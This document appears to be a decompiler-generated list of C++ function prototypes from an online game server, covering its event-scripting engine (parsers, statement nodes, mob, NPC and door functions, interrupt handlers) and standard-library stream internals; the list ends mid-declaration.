unsigned int __cdecl std::num_put>>::_Getcat(std::locale::facet **_Ppf); void __thiscall List::l_Clear(List *this); void __thiscall List::l_Clear(List *this); PineScriptTracer::ScriptTracer *__thiscall PineScriptTracer::ScriptTracer::operator<<(PineScriptTracer::ScriptTracer *this, PineEventScriptNode::Identify *id); unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_Equal(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_Excremation(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_NotEqual(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr); void __thiscall PineEventScriptNode::Identify::_Identify(PineEventScriptNode::Identify *this); void __thiscall PineEventScriptNode::Block::_Block(PineEventScriptNode::Block *this); void __thiscall PineEventScriptNode::StateVarDeclear::StateVarDeclear(PineEventScriptNode::StateVarDeclear *this); void __thiscall PineEventScriptNode::OtherStatement::OtherStatement(PineEventScriptNode::OtherStatement *this, char *command, unsigned __int16 idread, int expressnummin, int expressnummax); void __thiscall PineEventScriptNode::OtherStatement::_OtherStatement(PineEventScriptNode::OtherStatement *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateVarDeclear::sb_CloneMe(PineEventScriptNode::StateVarDeclear *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StatePermillage::sb_CloneMe(PineEventScriptNode::StatePermillage *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateAssignment::sb_CloneMe(PineEventScriptNode::StateAssignment *this); void __thiscall PineEventScriptNode::Block::l_Clone(PineEventScriptNode::Block *this, PineEventScriptNode::Block *blk); unsigned __int16 __thiscall PineEventScriptNode::StateAssignment::sa_Step(PineEventScriptNode::StateAssignment *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::sa_Load(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::CalculateOperator::sa_Load(PineEventScriptNode::CalculateOperator *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::String::sa_Load(PineEventScriptNode::String *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Number::sa_Load(PineEventScriptNode::Number *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Id::sa_Load(PineEventScriptNode::Id *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Identify::sa_Load(PineEventScriptNode::Identify *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::ArgumentList::sa_Load(PineEventScriptNode::ArgumentList *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::SystemFunction::sa_Load(PineEventScriptNode::SystemFunction *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Term::sa_Load(PineEventScriptNode::Term *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::BlockName::sa_Load(PineEventScriptNode::BlockName *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Block::sa_Load(PineEventScriptNode::Block *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateVarDeclear::sa_Load(PineEventScriptNode::StateVarDeclear *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateInfinite::sa_Load(PineEventScriptNode::StateInfinite *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateWhile::sa_Load(PineEventScriptNode::StateWhile *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateBreak::sa_Load(PineEventScriptNode::StateBreak *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateCall::sa_Load(PineEventScriptNode::StateCall *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StatePermillage::sa_Load(PineEventScriptNode::StatePermillage *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StatementBaseExpress::sa_Load(PineEventScriptNode::StatementBaseExpress *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateAssignment::sa_Load(PineEventScriptNode::StateAssignment *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::OtherStatement::sa_Load(PineEventScriptNode::OtherStatement *this, PineScriptReader::TokenReader *tr); void __thiscall std::basic_stringstream_std::allocator>::_vbase_destructor(std::basic_stringstream,std::allocator > *this); void *__thiscall std::basic_stringstream_std::allocator>::_scalar_deleting_destructor_(std::basic_stringstream,std::allocator > *this, char a2); void __thiscall std::basic_ostream>::sentry::_sentry(std::basic_ostream >::sentry *this); std::basic_ostream > *__cdecl std::operator<<_std::allocator>(std::basic_ostream > *_Ostr, std::basic_string,std::allocator > *_Str); std::basic_ostream > *__cdecl std::operator<<>(std::basic_ostream > *_Ostr, const char *_Val); std::num_put > > *__cdecl std::use_facet>>>(std::locale *_Loc); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall PineEventScriptNode::ScriptParameterPaser::ScriptParameterPaser(PineEventScriptNode::ScriptParameterPaser *this, PineEventScriptNode::Express **ppExpress, PineScriptStack::ProcessStack *ps); void __thiscall PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser(PineEventScriptNode::ScriptParameterPaser *this); std::basic_ostream > *__thiscall std::basic_ostream>::operator<<(std::basic_ostream > *this, int _Val); void __thiscall List::List(List *this, ListArray *array); void __thiscall List::List(List *this, ListArray *array); void __thiscall PineEventScriptNode::Block::Block(PineEventScriptNode::Block *this); void __thiscall PineEventScriptNode::StateInfinite::StateInfinite(PineEventScriptNode::StateInfinite *this); void __thiscall PineEventScriptNode::StateWhile::StateWhile(PineEventScriptNode::StateWhile *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::Block::sb_CloneMe(PineEventScriptNode::Block *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateInfinite::sb_CloneMe(PineEventScriptNode::StateInfinite *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateWhile::sb_CloneMe(PineEventScriptNode::StateWhile *this); unsigned __int16 __thiscall PineEventScriptNode::StateIf::sa_Load(PineEventScriptNode::StateIf *this, PineScriptReader::TokenReader *tr); void __thiscall PineEventScriptNode::StatementList::StatementList(PineEventScriptNode::StatementList *this); void *__thiscall PineEventScriptNode::ScriptParameterPaser::_vector_deleting_destructor_(PineEventScriptNode::ScriptParameterPaser *this, unsigned int); void __thiscall std::basic_iostream>::basic_iostream>(std::basic_iostream > *this, std::basic_streambuf > *_Strbuf); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, bool _Val); std::ostreambuf_iterator > *__thiscall std::ostreambuf_iterator>::operator_(std::ostreambuf_iterator > *this, char _Right); std::ostreambuf_iterator > *__cdecl std::num_put>>::_Rep(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, char _Ch, unsigned int _Count); std::basic_string,std::allocator > *__thiscall std::numpunct::falsename(std::numpunct *this, std::basic_string,std::allocator > *result); std::basic_string,std::allocator > *__thiscall std::numpunct::truename(std::numpunct *this, std::basic_string,std::allocator > *result); std::numpunct *__cdecl std::use_facet>(std::locale *_Loc); unsigned int __cdecl std::numpunct::_Getcat(std::locale::facet **_Ppf); char __thiscall std::numpunct::do_decimal_point(std::numpunct *this); char __thiscall std::numpunct::do_thousands_sep(std::numpunct *this); void *__thiscall std::numpunct::_scalar_deleting_destructor_(std::numpunct *this, unsigned int); void __thiscall std::numpunct::_numpunct(std::numpunct *this); void __thiscall std::numpunct::_Tidy(std::numpunct *this); void __thiscall std::numpunct::_Init(std::numpunct *this, std::_Locinfo *_Lobj); char *__cdecl std::_Maklocstr(const char *_Ptr, char *__formal, _Cvtvec *__formal); void __thiscall ListArray::ListArray(ListArray *this, int size); char __thiscall List::l_Enlargement(List *this, int extsize); void __thiscall PineEventScriptNode::Script::Script(PineEventScriptNode::Script *this); void __thiscall PineEventScriptNode::Script::_Script(PineEventScriptNode::Script *this); unsigned __int16 __thiscall PineEventScriptNode::Script::sa_Load(PineEventScriptNode::Script *this, PineScriptReader::TokenReader *tr); void __thiscall PineEventScript::PineEventScript(PineEventScript *this); void __thiscall PineEventScript::_PineEventScript(PineEventScript *this); void __thiscall std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>(std::basic_stringstream,std::allocator > *this, int _Mode); std::basic_string,std::allocator > *__thiscall std::basic_stringbuf_std::allocator>::str(std::basic_stringbuf,std::allocator > *this, std::basic_string,std::allocator > *result); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, int _Val); char *__cdecl std::num_put>>::_Ifmt(std::num_put > > *this, char *_Fmt, const char *_Spec, int _Flags); std::ostreambuf_iterator > *__cdecl std::num_put>>::_Iput(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, char *_Buf, unsigned int _Count); std::ostreambuf_iterator > *__cdecl std::num_put>>::_Putgrouped(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, const char *_Ptr, unsigned int _Count, char _Kseparator); std::basic_string,std::allocator > *__thiscall std::numpunct::grouping(std::numpunct *this, std::basic_string,std::allocator > *result); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, unsigned int _Val); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, __int64 _Val); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, unsigned __int64 _Val); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, long double _Val); char *__cdecl std::num_put>>::_Ffmt(std::num_put > > *this, char *_Fmt, char _Spec, int _Flags); std::ostreambuf_iterator > *__cdecl std::num_put>>::_Fput(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, const char *_Buf, unsigned int _Beforepoint, unsigned int _Afterpoint, unsigned int _Trailing, unsigned int _Count); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::insert(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _Count, char _Ch); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, unsigned int _Count, char _Ch); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, long double _Val); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, const void *_Val); std::basic_string,std::allocator > *__thiscall std::numpunct::do_grouping(std::numpunct *this, std::basic_string,std::allocator > *result); std::basic_string,std::allocator > *__thiscall std::numpunct::do_falsename(std::numpunct *this, std::basic_string,std::allocator > *result); std::basic_string,std::allocator > *__thiscall std::numpunct::do_truename(std::numpunct *this, std::basic_string,std::allocator > *result); void __thiscall PineEventScriptNode::ScriptParameterPaser::SetErrorMsg(PineEventScriptNode::ScriptParameterPaser *this, const char *pkErrorMsg); std::basic_string,std::allocator > *__thiscall std::basic_stringstream_std::allocator>::str(std::basic_stringstream,std::allocator > *this, std::basic_string,std::allocator > *result); bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByObject(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, #325 **rpObj); bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByDWARD(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, unsigned int *rDWARD); bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByString(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, std::basic_string,std::allocator > *rstrchar); char __thiscall Movie::Theater::t_AllInMap(Movie::Theater *this, AxialListIterator *ali); void __thiscall AxialListMobCounter::_AxialListMobCounter(AxialListMobCounter *this); void __thiscall AxialListMobInAreaCounter::AxialListMobInAreaCounter(AxialListMobInAreaCounter *this, unsigned __int16 mobid, Name8 *Areaname, unsigned int guild, AxialListMobInAreaCounter::ALMCType type, int maxcount); void __thiscall AxialListMobInAreaCounter::_AxialListMobInAreaCounter(AxialListMobInAreaCounter *this); void __thiscall AxialListObjectList::_AxialListObjectList(AxialListObjectList *this); void __thiscall AxialListKQResult::alkqr_Score_ConditionOfHero(AxialListKQResult *this, #325 *obj); void __thiscall AxialListKQResult::alkqr_Score_Default(AxialListKQResult *this, #325 *obj); void __thiscall AxialListKQResult::alkqr_CalcScore(AxialListKQResult *this); int __cdecl AxialListKQResult::alkqr_ScoreCompare(const void *a, const void *b); Name3 *__thiscall Movie::Theater::t_MapNameServer(Movie::Theater *this, Name3 *buf); #325 *__thiscall ScriptMobBreeder::smb_ShineObject(ScriptMobBreeder *this, PineScriptStack::ProcessStack *ps, unsigned __int16 objhnd); unsigned __int16 __thiscall ScriptMobBreeder::smb_ObjectRegen(ScriptMobBreeder *this, PineScriptStack::ProcessStack *ps, #325 *obj, unsigned __int16 mobhnd, PineEventScriptNode::ArgumentList *arglst); unsigned __int16 __thiscall ScriptMobBreeder::smb_ObjectChange(ScriptMobBreeder *this, PineScriptStack::ProcessStack *ps, #325 *newobj, unsigned __int16 newhnd, PineEventScriptNode::ArgumentList *arglst); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate(PineEventScriptNode::SysFuncShineMobRegen *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate(PineEventScriptNode::SysFuncShineDoorBuild *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate(PineEventScriptNode::SysFuncShineNPCStand *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2Mob *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2Door *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2NPC *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCount::sfb_Calculate(PineEventScriptNode::SysFuncShineCount *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate(PineEventScriptNode::SysFuncShineRestSecond *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCharClass::sfb_Calculate(PineEventScriptNode::SysFuncShineCharClass *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCharName::sfb_Calculate(PineEventScriptNode::SysFuncShineCharName *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate(PineEventScriptNode::SysFuncShineDeadNumber *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate(PineEventScriptNode::SysFuncShineCircularScatter *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate(PineEventScriptNode::SysFuncShineRemoveFisrt *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); char __thiscall AxialListObjectList::ali_Work(AxialListObjectList *this, #325 *, #325 *, unsigned int); PineScriptToken *__thiscall AxialListObjectList::alol_MakeList(AxialListObjectList *this, PineScriptToken *buffer); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate(PineEventScriptNode::SysFuncShineGetObjectList *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __thiscall AxialListKQResult::ALKQR::ALKQR(AxialListKQResult::ALKQR *this); void __thiscall AxialListKQResult::_AxialListKQResult(AxialListKQResult *this); char __thiscall AxialListKQResult::ali_Work(AxialListKQResult *this, #325 *, #325 *, unsigned int); char __thiscall AxialListKQResult::defaultWorker(AxialListKQResult *this, #325 *, #325 *, unsigned int); char __thiscall AxialListKQResult::zerosumWorker(AxialListKQResult *this, #325 *, #325 *, unsigned int); void __thiscall AxialListKQResult::alkqr_MakeList(AxialListKQResult *this, PineScriptToken *buffer, PROTO_NC_KQ_SCORE_CMD *array); void __thiscall AxialListKQResult::alkqr_MakeSimpleList(AxialListKQResult *this, PineScriptToken *buffer, PROTO_NC_KQ_SCORE_SIMPLE_CMD *array, int limit); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDistance::sfb_Calculate(PineEventScriptNode::SysFuncShineDistance *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShinePlayerInArea::sfb_Calculate(PineEventScriptNode::SysFuncShinePlayerInArea *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __cdecl std::generate>::iterator_ArrGen>(std::vector >::iterator _First, std::vector >::iterator _Last, ArrGen _Func); void __thiscall AxialListKQResult::AxialListKQResult(AxialListKQResult *this, void (__thiscall *scorefunction)(AxialListKQResult *this, #325 *), char (__thiscall *workerFunction)(AxialListKQResult *this, #325 *, #325 *, unsigned int), int basepoint, int limitScore); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineKQResultList::sfb_Calculate(PineEventScriptNode::SysFuncShineKQResultList *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineKQTop::sfb_Calculate(PineEventScriptNode::SysFuncShineKQTop *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineIsGateUse::sfb_Calculate(PineEventScriptNode::SysFuncShineIsGateUse *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineGetWinnerGuild::sfb_Calculate(PineEventScriptNode::SysFuncShineGetWinnerGuild *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineGetLoseGuild::sfb_Calculate(PineEventScriptNode::SysFuncShineGetLoseGuild *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __cdecl std::random_shuffle>::iterator>(std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Construct_n(std::vector > *this, unsigned int _Count, const int *_Val); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRange::sfb_Calculate(PineEventScriptNode::SysFuncShineRange *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __thiscall PineScriptMobRegenerator::_PineScriptMobRegenerator(PineScriptMobRegenerator *this); int __thiscall MobRegenStruct::RegenMobStruct::operator_(int this, int a2); OptionReader *__thiscall KQRegenTable::operator__(KQRegenTable *this, const char *map); void __thiscall PineScriptMobRegenerator::RegenStruct::RegenStruct(PineScriptMobRegenerator::RegenStruct *this); char *__thiscall PineScriptMobRegenerator::psmr_makeindex(PineScriptMobRegenerator *this, char *buffer, const char *map, const char *index); void __thiscall PineScriptMobRegenerator::PineScriptMobRegenerator(PineScriptMobRegenerator *this); void __thiscall PineScriptMobRegenerator::psmr_Store(PineScriptMobRegenerator *this, MobRegenStruct::RegenMobStruct *data, MobRegenStruct::RegenGroupStruct *rgs, char *index); char __thiscall PineScriptMobRegenerator::psmr_Load(PineScriptMobRegenerator *this, const char *map); PineScriptMobRegenerator::RegenStruct *__thiscall PineScriptMobRegenerator::psmr_find(PineScriptMobRegenerator *this, const char *map, const char *index); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_SecondInterval(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, int interval, PineScriptToken *eventblock, int num, char flag); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_ObjectDeadIndex(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, char *mobindex, PineScriptToken *eventblock, int num); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Admin(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex); char __thiscall Movie::Theater::t_AllOfRange(Movie::Theater *this, unsigned int event, SHINE_XY_TYPE *center, int range, FanFormSectorArgument *fansector, AxialListIterator *ala, char tome, unsigned __int16 excepter); void __thiscall Movie::Theater::t_SetInterruptAreaEntry(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptAreaLeave(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptNPCClickHandle(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptNPCClickIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptNPCClickAny(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptTimeInterval(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num, char flag); void __thiscall Movie::Theater::t_SetInterruptHPLow(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptMobEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptPlayerEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptGuildEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptTimeOut(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptDeadHandle(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptDeadIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptKillEnemy(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptTargetChange(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptPlayerDead(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptHPFull(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptPickUpItemIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall Movie::Theater::t_SetInterruptHPUpper(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num); char __thiscall FieldMap::fm_AreaEntry(int this, Name8 *areaindex, unsigned int x, unsigned int y); char __thiscall ShineObjectClass::ShineObject::so_SubLayerShift(int this, char sublayer, char logout); void __thiscall PineEventScriptNode::ShinePrintf::ShinePrintf(PineEventScriptNode::ShinePrintf *this); void __thiscall PineEventScriptNode::ShineScriptFile::ShineScriptFile(PineEventScriptNode::ShineScriptFile *this); void __thiscall PineEventScriptNode::ShineTimeLimit::ShineTimeLimit(PineEventScriptNode::ShineTimeLimit *this); void __thiscall PineEventScriptNode::ShineInterruptClear::ShineInterruptClear(PineEventScriptNode::ShineInterruptClear *this); void __thiscall PineEventScriptNode::ShineInterruptSet::ShineInterruptSet(PineEventScriptNode::ShineInterruptSet *this); void __thiscall PineEventScriptNode::ShineInterruptErase::ShineInterruptErase(PineEventScriptNode::ShineInterruptErase *this); void __thiscall PineEventScriptNode::ShineWaitInterrupt::ShineWaitInterrupt(PineEventScriptNode::ShineWaitInterrupt *this); void __thiscall PineEventScriptNode::ShineMobRegen::ShineMobRegen(PineEventScriptNode::ShineMobRegen *this); void __thiscall PineEventScriptNode::ShineDoorBuild::ShineDoorBuild(PineEventScriptNode::ShineDoorBuild *this); void __thiscall PineEventScriptNode::ShineNPCStand::ShineNPCStand(PineEventScriptNode::ShineNPCStand *this); void __thiscall PineEventScriptNode::ShineChange2Mob::ShineChange2Mob(PineEventScriptNode::ShineChange2Mob *this); void __thiscall PineEventScriptNode::ShineChange2Door::ShineChange2Door(PineEventScriptNode::ShineChange2Door *this); void __thiscall PineEventScriptNode::ShineChange2NPC::ShineChange2NPC(PineEventScriptNode::ShineChange2NPC *this); void __thiscall PineEventScriptNode::ShineExchange2Mob::ShineExchange2Mob(PineEventScriptNode::ShineExchange2Mob *this); void __thiscall PineEventScriptNode::ShineDoorOpen::ShineDoorOpen(PineEventScriptNode::ShineDoorOpen *this); void __thiscall PineEventScriptNode::ShineDoorClose::ShineDoorClose(PineEventScriptNode::ShineDoorClose *this); void __thiscall PineEventScriptNode::ShineObjectVanish::ShineObjectVanish(PineEventScriptNode::ShineObjectVanish *this); void __thiscall PineEventScriptNode::ShineRegenGroup::ShineRegenGroup(PineEventScriptNode::ShineRegenGroup *this); void __thiscall PineEventScriptNode::ShineWaitUserLogin::ShineWaitUserLogin(PineEventScriptNode::ShineWaitUserLogin *this); void __thiscall PineEventScriptNode::ShinePause::ShinePause(PineEventScriptNode::ShinePause *this); void __thiscall PineEventScriptNode::ShineNPCChat::ShineNPCChat(PineEventScriptNode::ShineNPCChat *this); void __thiscall PineEventScriptNode::ShineNPCShout::ShineNPCShout(PineEventScriptNode::ShineNPCShout *this); void __thiscall PineEventScriptNode::ShineChatWindow::ShineChatWindow(PineEventScriptNode::ShineChatWindow *this); void __thiscall PineEventScriptNode::ShineChatWindowRange::ShineChatWindowRange(PineEventScriptNode::ShineChatWindowRange *this); void __thiscall PineEventScriptNode::ShineSomeoneShout::ShineSomeoneShout(PineEventScriptNode::ShineSomeoneShout *this); void __thiscall PineEventScriptNode::ShineSummonMob::ShineSummonMob(PineEventScriptNode::ShineSummonMob *this); void __thiscall PineEventScriptNode::ShineQuestResult::ShineQuestResult(PineEventScriptNode::ShineQuestResult *this); void __thiscall PineEventScriptNode::ShineReward::ShineReward(PineEventScriptNode::ShineReward *this); void __thiscall PineEventScriptNode::ShineBroadcast::ShineBroadcast(PineEventScriptNode::ShineBroadcast *this); void __thiscall PineEventScriptNode::ShineLinkTo::ShineLinkTo(PineEventScriptNode::ShineLinkTo *this); void __thiscall PineEventScriptNode::ShineWhoClickMe::ShineWhoClickMe(PineEventScriptNode::ShineWhoClickMe *this); void __thiscall PineEventScriptNode::ShineWhoKillMe::ShineWhoKillMe(PineEventScriptNode::ShineWhoKillMe *this); void __thiscall PineEventScriptNode::ShineItemDrop::ShineItemDrop(PineEventScriptNode::ShineItemDrop *this); void __thiscall PineEventScriptNode::ShineInvenSearch::ShineInvenSearch(PineEventScriptNode::ShineInvenSearch *this); void __thiscall PineEventScriptNode::ShineItemCreate::ShineItemCreate(PineEventScriptNode::ShineItemCreate *this); void __thiscall PineEventScriptNode::ShineItemErase::ShineItemErase(PineEventScriptNode::ShineItemErase *this); void __thiscall PineEventScriptNode::ShineFindHandle::ShineFindHandle(PineEventScriptNode::ShineFindHandle *this); void __thiscall 